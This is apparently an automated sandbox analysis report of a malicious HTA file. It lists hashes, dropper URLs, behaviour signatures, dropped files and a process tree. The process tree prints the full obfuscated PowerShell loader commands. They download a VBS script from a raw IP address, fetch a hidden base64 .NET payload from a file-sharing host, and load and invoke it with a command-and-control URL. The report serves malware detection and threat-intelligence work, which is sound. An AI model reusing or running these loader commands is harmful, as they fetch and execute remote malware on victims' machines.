Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2024 04:17

General

  • Target

    35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta

  • Size

    178KB

  • MD5

    05dcffe1d8e8e209a90b522192ad8000

  • SHA1

    77c19b392d39bce4906b5c4e5f1ab0a0c9182dc7

  • SHA256

    35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5

  • SHA512

    11eafd5f126bb4873ec7be1dc6fe7246f3de8324c413073bc914827695ed1db1bb9b6e870414c0d4aba990a6a817d6c029f7aa02e5061434dcdb965a378b5734

  • SSDEEP

    48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\SysWOW64\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe
      "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2628
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bngpwxrd.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES672D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC672C.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2024
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2560
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2544

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RES672D.tmp

    Filesize

    1KB

    MD5

    be6b0ea64547b6f868e8909d098ba6c8

    SHA1

    b07cd5563ebcf2bcffd35c6813739221080b2f7b

    SHA256

    5f364638756ea015c8dfa12a82e5ed2cde2122a528ad037ab70b6fcd724eb62a

    SHA512

    6be2c5c0cd2a3b238850410ad6bb6b10658bfae9001ffd9f784996d982b2f78e9be6c4aa73982551644b33718de67e3d3210729910151f00be35549f0a68b229

  • C:\Users\Admin\AppData\Local\Temp\bngpwxrd.dll

    Filesize

    3KB

    MD5

    9da9960e7836ad31b2013f59df34ce89

    SHA1

    631fc607659b1c21c595dfe8e92327c0aec66e50

    SHA256

    9601e0b45e54b109bdaf9326b219fc7d4114c0e06c99618173a2e9e92643f9ad

    SHA512

    88e74f447fa529c8c7cd5108fa007e312552411f13e9c410e80ad6493c1ecdade5ff6d66aa9eddd15a0506f707b536da8f2d028db27862e6ab0760516c9a5df1

  • C:\Users\Admin\AppData\Local\Temp\bngpwxrd.pdb

    Filesize

    7KB

    MD5

    f023d77f4a1920a171223f70e487ac31

    SHA1

    dfb404a157558af9e60c694039d08ef0a86fedc3

    SHA256

    375af4ccd1e55507ecde0cd8e5d2fe69cfd870723a35c5f76560a16dc0052bae

    SHA512

    a48e3dab5ef11b30320a18bd1594de03cb08d8dc84f441d9ddaa711535f4e8d244776e2b5e6e98266aaee2c5403684c560e50e9c9724391e6b56c56244066040

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    5833f6775fe378ccd6521291745852fe

    SHA1

    f8a83a514b9b0d21f9b1fd9b0f547c7562ccaec0

    SHA256

    209e5fdb01d40e749cbec037c0a6404d68c11cde5bb8d092d2f0914c3d9f7645

    SHA512

    faed06de98ce7401d001bfd9e3d222711ac8f29cca97527326b30f0818f84c416ce07a9024075546e6f48aa33cc275f4f8d7f8da62d10a1f2659916a908a3995

  • C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

    Filesize

    137KB

    MD5

    855d024750a1bc1bc078e60c05e506e3

    SHA1

    480c344ef4e060adb7ca7e159c815cb38ac87614

    SHA256

    560327e8e4c818547fe966c8704d97270986b7457d62a154219e81ed4afb4667

    SHA512

    64a68dd3c8750e7a90c95078dc1db87086c546212b56348e6d45f4444b5dd7e6725f3b5ddbc2c414d08a7df2fbf2eecd11b9ab414588ac7b66f57f70fbb85c94

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC672C.tmp

    Filesize

    652B

    MD5

    f9a7259124a02bf8ac1011e8e75f6892

    SHA1

    2e4d80136e9776fca205cf1c1004ade01926aea7

    SHA256

    219a4003c585eae55df96cec6fba46f9151e04c7c1e16f58d87fa418b79778bf

    SHA512

    d3e9f58bfd1dc7ee40d749b1be22f8c3ac72c6a310dbff2bee7d29d8681b03b472e056cc4405d00da7e5bc22afba3ac896617f1448f21238bf894b522d2f7a04

  • \??\c:\Users\Admin\AppData\Local\Temp\bngpwxrd.0.cs

    Filesize

    472B

    MD5

    1a212b8a44924d84eeba108f2409b5e8

    SHA1

    b19066fab9c3329cd206958dacee65a08607586b

    SHA256

    977b687ccdcaea25b4afdd04dbac19bf12b31afad4ae226d7b7e5ed5cabcf073

    SHA512

    4d4bbada1880ce68ceeaff34a1d412350f715c0f5f741f7f47692549280dc92738881ce1fff7bbcd472610a63d99ded94ca713cc859b330a07d13df2313ea453

  • \??\c:\Users\Admin\AppData\Local\Temp\bngpwxrd.cmdline

    Filesize

    309B

    MD5

    5ab3d427a6ae2d5eb87bd2c09a1a7b00

    SHA1

    30309cf1aa4e35a03842c00d056f8564c2f25f55

    SHA256

    cd04de24a82e40a12dd306d492a6088bb0ba23401e7dd9538c622603769ed3af

    SHA512

    f3b6a84d7d10339568cc815927e983caa147c7e3d749a017ab7db407f9d2d45c2894723d35e3ff723e5807c9f23cf296b8eb94e65d122f216a4ae0242a644894